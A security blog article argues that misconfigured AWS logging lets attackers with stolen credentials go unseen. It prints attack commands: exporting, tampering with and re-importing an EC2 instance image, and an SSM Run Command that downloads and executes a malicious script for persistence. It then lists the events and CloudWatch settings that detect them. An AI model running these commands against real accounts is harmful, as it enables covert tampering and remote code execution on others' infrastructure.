As workloads have shifted from on-premises to the cloud so too have attacks on cloud infrastructure become a new focus. Not surprising, Cloud services provide many benefits but also demand quite a degree of responsibility, shared responsibility may be “shared” but the responsibility is far greater now.
It’s fairly easy to name the main reasons for the vulnerability of cloud components in various organizations but one of my top reasons is misconfigurations. Followed quickly by absence of configurations in logging systems.
Cloud is Complex, and Complex systems totally rely on highly configured logging to report any anomalies. Default configurations, coming with so many solutions, rarely can be helpful. As we see too often you must have a certain level of development knowledge within the infrastructure you are about to configure logging for or suffer the consequences of default logging not being enough.
Let’s look at some examples. In this article we will stay with AWS as our examples throughout (but keep in mind that it can happen with all three major cloud providers). So, let’s assume I have received someone’s AWS credentials. How? Let’s say I have hacked his computer and got my hands on the credentials file. Or better yet – the computer is part of ADFS (Active Directory Federation Services). In that case, I don’t even need the credentials. I’ll just be exploiting the existent authentication through ADFS.
Where exactly can your SOC catch me? Well, in many places on some abnormal activity, IF everything functions properly. IF of course being the operative work here. But what if the activity seems not that abnormal? Surely, if I use the credentials of the accounting dept to create roles and users in IAM, that would be way off the scale. So, I’d probably try to find a user or service who/that does that sort of thing or simply has relevant permissions. Disguising as that individual/entity will help me avoid red lights flashing with sirens going off in the head of a SOC operator. If your logging is misconfigured, then your SOC operator has zero chance to target the events he needs, for a conclusion that there is a breach-in-action.
Let’s explore the “HOW” now.
Here is a great example in the article below about mismanagement of the User Data section in AWS EC2 can easily compromise your network. It is a great read.
https://thetestlabs.io/post/hacking-aws/
Some may say that is “old news.” Well…True, but mimikatz is even older, and it is still a nuke, detonated in the middle of your network on a sunny, peaceful day. With a certain level of skill, you might even not need all kind of tools(which make things easier, but also are easy to sign) , for your “malicious” activities. For example in the article a tool, called “Pacu” is used which is an AWS exploitation framework, very good tool, but also not that necessary.
Here’s one example: if I already have either credentials or ADFS sign on, I can simply find some lone instance, download it to s3, as containerized image with absolutely legit command:
aws ec2 create-instance-export-task --description "your description" --instance-id <id> --target-environment vmware --export-to-s3-task DiskImageFormat=vmdk,ContainerFormat=ova,S3Bucket=<bucketname>,S3Prefix=<prefix>
Then I’ll sync it with my local machine, open it, mount as disk on any VM, place inside whatever I want, then pack it back and push it back:
aws ec2 import-image --disk-containers Format=<format>,UserBucket="{S3Bucket=<bucket>,S3Key=<name-of-image>}"
Simple.
Totally Legitimate.
And it works.
Can one catch me while doing it? Definitely yes - IF one KNOWS, that certain events, need to be searched for, are the following:
SharedSnapshotVolumeCreated accompanied by CreateImage event with a MUST HAVE string in a description “This AMI is being used by VM Export task.”.
If your instance is part of an SSM, one could simply run an arbitrary code on it with Run command. No need to log in into instance for that. The below example is a code execution on an instance with Run command. The code updates your instance, installs curl, downloads and executes malicious bash file:
aws ssm send-command --document-name "AWS-RunShellScript" --targets '[{\"Key\":\"InstanceIds\" ,\"Values\":[\<instance-id>\"]}]' --parameters '{\"commands\":[\"#!/bin/bash\",\"apt -y update\", \"apt install -y curl\", \"curl -L -o < path to your malicious file >} <url-for-downloading-your-code>}\", \"chmod +x <path to your malicious file>\", \".< path to your malicious file >\" ]}'
Simple.
Totally legitimate.
And it works.
A great way to setup a persistence, and no trace in CloudTrail, which is even better because most SIEM solutions parse CloudTrail events, whereas in this case to catch the event, one must use CloudWatch, with which you grind deeper into API calls. Those are being logged, just you need CloudWatch to be able to notice them.
You can find exact configuration procedures by the following links
https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-rc-setting-up-cwlogs.html
https://docs.aws.amazon.com/systems-manager/latest/userguide/monitoring-cloudwatch-metrics.html
However, if this specific log is not configured or not configured properly, the malicious actor might very well remain unseen. In other words, in case of misconfigured or non-configured logs, your security solutions, like EDR, SIEM, you name it, would be useless against a post-exploitation technique, despite the vendor providing them for you.